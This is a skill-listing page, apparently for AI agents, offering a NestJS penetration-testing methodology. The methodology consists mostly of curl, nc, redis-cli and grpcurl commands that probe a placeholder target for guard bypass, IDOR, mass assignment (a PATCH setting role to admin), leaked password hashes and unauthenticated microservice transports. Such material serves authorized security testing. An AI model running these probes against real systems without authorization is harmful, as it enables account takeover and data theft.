القائمة
Hunt NestJS-specific vulnerabilities: guard bypass, decorator gaps, and microservice auth drift.
يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.
اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.
استنادا إلى تصنيف SOC المهني
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/uphiago/recon-skills --skill hunt-nestjsيبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
عرض SKILL.md
Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
| name | hunt-nestjs |
| description | Hunt NestJS-specific vulnerabilities: guard bypass, decorator gaps, and microservice auth drift. |
| category | redteam |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3 |
| tags | ["redteam","nestjs","TypeScript","decorator","guard","microservice","GraphQL"] |
| related_skills | ["hunt-graphql","hunt-api-misconfig","hunt-idor","hunt-write-gap"] |
Hunt NestJS-specific vulnerabilities in guard bypass via decorator stack gaps, Reflector metadata mismatches between global/controller/method guards, ValidationPipe whitelist and transform exploits, and microservice transport authentication drift. NestJS's architectural patterns — decorators, dependency injection, module system, multi-transport support — create unique attack surface across HTTP, WebSocket, and RPC transports.
x-powered-by: NestJS or TypeScript decorator patterns in error messages)./api or /api-json.# NestJS fingerprinting
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/api" | grep -iE "x-powered-by|server"
# Look for: x-powered-by: NestJS
# Swagger docs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api" -w "%{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api-json" | jq '.paths | keys[]' 2>/dev/null
# NestJS guard resolution: global → controller → method
# A @Public() or @SkipAuth() on one method doesn't affect others
# BUT: route parameter confusion can bypass guards
# Test all HTTP methods on guarded endpoints
for method in GET POST PUT PATCH DELETE OPTIONS; do
curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/api/admin/users" \
-w "$method — %{http_code}\n" -o /dev/null
done
# Controller-level guard with method-level override
curl --max-time 30 --connect-timeout 10 -sk
curl --max-time 30 --connect-timeout 10 -sk
# Global guard checks @Roles() metadata
# But controller-level guard may use different metadata key
# This creates gaps where global guard has no metadata to check → passes
# Test endpoints with different role requirements
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users" -H "Authorization: Bearer TOKEN" \
-w "GET users — %{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://target.com/api/users/1" -H "Authorization: Bearer TOKEN" \
-w "DELETE user — %{http_code}\n" -o /dev/null
# Custom parameter decorators may bypass guard checks
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users?userId=VICTIM_ID" \
-H "Authorization: Bearer TOKEN" \
-w "param decorator — %{http_code}\n" -o /dev/null
# ValidationPipe with whitelist: true strips unknown fields
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/json" \
-d '{"username":"test","isAdmin":true}' # isAdmin stripped if not in DTO
# BUT: transform: true enables implicit type conversion
# Primitive types auto-converted → string "true" → boolean true
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/json" \
-d '{"username":"test","isActive":"true"}' # string coerced to boolean
# ValidationPipe with skipMissingProperties: true
# PATCH with only the fields you want to change — skips validation of missing fields
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/users/me" \
-H "Content-Type: application/json" \
-d '{"role":"admin"}' # only role updated, no other validation
# ClassSerializerInterceptor absence — returns full entity
# With interceptor: returns only @Expose() fields
# Without interceptor: returns ALL entity fields including password hash
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/1" | jq 'keys' 2>/dev/null
# Look for: password, passwordHash, secretKey, internalNotes, etc.
# @Exclude() on entity but interceptor not applied globally
# → controller without interceptor leaks excluded fields
# NestJS microservices support multiple transports
# Auth enforced on HTTP may be absent on TCP/Redis/NATS
# TCP transport (default port 3000)
echo '{"pattern":"getUser","data":{"id":1}}' | nc target.com 3000
# Redis transport — check if Redis is exposed
redis-cli -h target.com PUBLISH "get_user" '{"id":1}'
# gRPC transport — check reflection
grpcurl -plaintext target.com:5000 list
# @MessagePattern without @UseGuards()
# → microservice handler has no authentication at all
# @Global() modules export providers to all other modules
# If AuthModule is @Global(), token validation available everywhere
# BUT: some modules may import AuthModule manually and use a WEAKER guard
# CRUD generator auto-endpoints
# nestjsx/crud creates standard CRUD without explicit @UseGuards()
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users" # GET all
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/1" # GET one
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" # CREATE
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/users/1" # UPDATE
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://target.com/api/users/1" # DELETE
/api-json for hidden endpoints.@Public() decorator is framework-specific (not built into NestJS). Different projects use @SkipAuth(), @NoAuth(), or @AllowAnonymous().@Res({ passthrough: true }) bypasses the standard response pipeline. Response headers and status codes can be injected.@UseGuards(AuthGuard) at controller level accepts requests at method level without auth.hunt-graphql — NestJS GraphQL endpoints with @nestjs/graphql decorators.hunt-api-misconfig — Broader API misconfigurations including guard and pipe gaps.hunt-idor — Object-level authorization through NestJS parameter decorators.hunt-write-gap — NestJS PATCH endpoints that accept writes without read authorization.